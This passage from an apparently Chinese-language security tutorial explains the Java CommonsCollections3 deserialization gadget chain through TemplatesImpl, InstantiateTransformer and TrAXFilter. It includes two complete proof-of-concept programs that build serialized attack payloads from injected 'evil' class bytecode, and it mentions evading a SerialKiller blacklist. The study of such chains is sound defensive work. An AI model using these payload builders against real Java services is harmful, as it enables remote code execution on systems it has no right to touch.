  • get : 根据类路径名获取该类的 CtClass对象,用于后续的编辑。
  • toBytecode:将 CtClass 对象表示的类转换回其原始的 JVM 字节码格式,并返回一个 byte[] 数组。
    对于第三个问题,在 TemplatesImpl#defineTransletClasses里有这么一段:
        for (int i = 0; i < classCount; i++) {  
            _class[i] = loader.defineClass(_bytecodes[i]);  
            final Class superClass = _class[i].getSuperclass();  
  
            // Check if this is the main class  
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
                _transletIndex = i;  
            }  
            else {  
                _auxClasses.put(_class[i].getName(), _class[i]);  
            }  
        }  
  
        if (_transletIndex < 0) {  
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);  
            throw new TransformerConfigurationException(err.toString());  
        }  

其实这里还可以反射修改 ABSTRACT_TRANSLET的值,就不演示了。想要序列化的话,再引入我们之前CC1或者CC6的那一套,我们这里选择CC6。

public static void main(String[] args) throws Exception {  
    TemplatesImpl templates = new TemplatesImpl();  
    Field _name = TemplatesImpl.class.getDeclaredField("_name");  
    _name.setAccessible(true);  
    _name.set(templates, "Burger King");  
  
    Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");  
    _bytecodes.setAccessible(true);  
    byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();  
    byte[][] evilBytecodes = {evilBytes};  
    _bytecodes.set(templates, evilBytecodes);  
  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(templates),  
            new InvokerTransformer("newTransformer",null,null)  
    };  
    Transformer[] fakeTransformers = new Transformer[]{  
            new ConstantTransformer("King Burger")  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
    HashMap hashMap = new HashMap();  
    hashMap.put(tiedMapEntry,"Burger King");  
    originalMap.remove("Burger King");  
  
    Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");  
    Field field = clazz.getDeclaredField("iTransformers");  
    field.setAccessible(true);  
    field.set(chainedTransformer, transformers);  
  
    Helper.serialize("CC3.ser", hashMap);  
}

但是ysoserial用的是 InstantiateTransformer进行触发,是由于 InvokerTransformer已经在SerialKiller的黑名单中,而且两者的利用方式也有区别。

InstantiateTransformer

顾名思义,它会通过反射机制来使用构造函数实例化指定类的对象,它和 InvokerTransformer的区别在于后者是直接调用已实例化对象的方法。
InstantiateTransformer#transform

public Object transform(Object input) {  
    try {  
        if (!(input instanceof Class)) {  
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));  
        } else {  
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);  
            return con.newInstance(this.iArgs);  
        }  
    } catch (NoSuchMethodException var6) {  
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");  
    } catch (InstantiationException var7) {  
        throw new FunctorException("InstantiateTransformer: InstantiationException", var7);  
    } catch (IllegalAccessException var8) {  
        throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);  
    } catch (InvocationTargetException var9) {  
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);  
    }  
}

也就是说,我们现在需要找到一个类,它的构造函数里调用到了 newTransformer方法。查找一波引用,发现了 TrAXFilter类。
TrAXFilter#TrAXFilter

public TrAXFilter(Templates templates)  throws  
    TransformerConfigurationException  
{  
    _templates = templates;  
    _transformer = (TransformerImpl) templates.newTransformer();  
    _transformerHandler = new TransformerHandlerImpl(_transformer);  
    _useServicesMechanism = _transformer.useServicesMechnism();  
}
类ysoserial PoC
public static void main(String[] args) throws Exception {  
    TemplatesImpl templates = new TemplatesImpl();  
    Field _name = TemplatesImpl.class.getDeclaredField("_name");  
    _name.setAccessible(true);  
    _name.set(templates, "Burger King");  
  
    Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");  
    _bytecodes.setAccessible(true);  
    byte[] evilBytes = ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode();  
    byte[][] evilBytecodes = {evilBytes};  
    _bytecodes.set(templates, evilBytecodes);  
  
    Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(TrAXFilter.class),  
            new InstantiateTransformer(  
                    new Class[] { Templates.class },  
                    new Object[] { templates })  
    };  
    Transformer[] fakeTransformers = new Transformer[]{  
            new ConstantTransformer("King Burger")  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);  
  
    HashMap<Object, Object> originalMap = new HashMap<>();  
    originalMap.put("value","Burger King");  
    Map lazyMap = LazyMap.decorate(originalMap, chainedTransformer);  
  
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"Burger King");  
    HashMap hashMap = new HashMap();  
    hashMap.put(tiedMapEntry,"Burger King");  
    originalMap.remove("Burger King");  
  
    Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");  
    Field field = clazz.getDeclaredField("iTransformers");  
    field.setAccessible(true);  
    field.set(chainedTransformer, transformers);  
  
    Helper.serialize("CC3.ser", hashMap);  
}

评论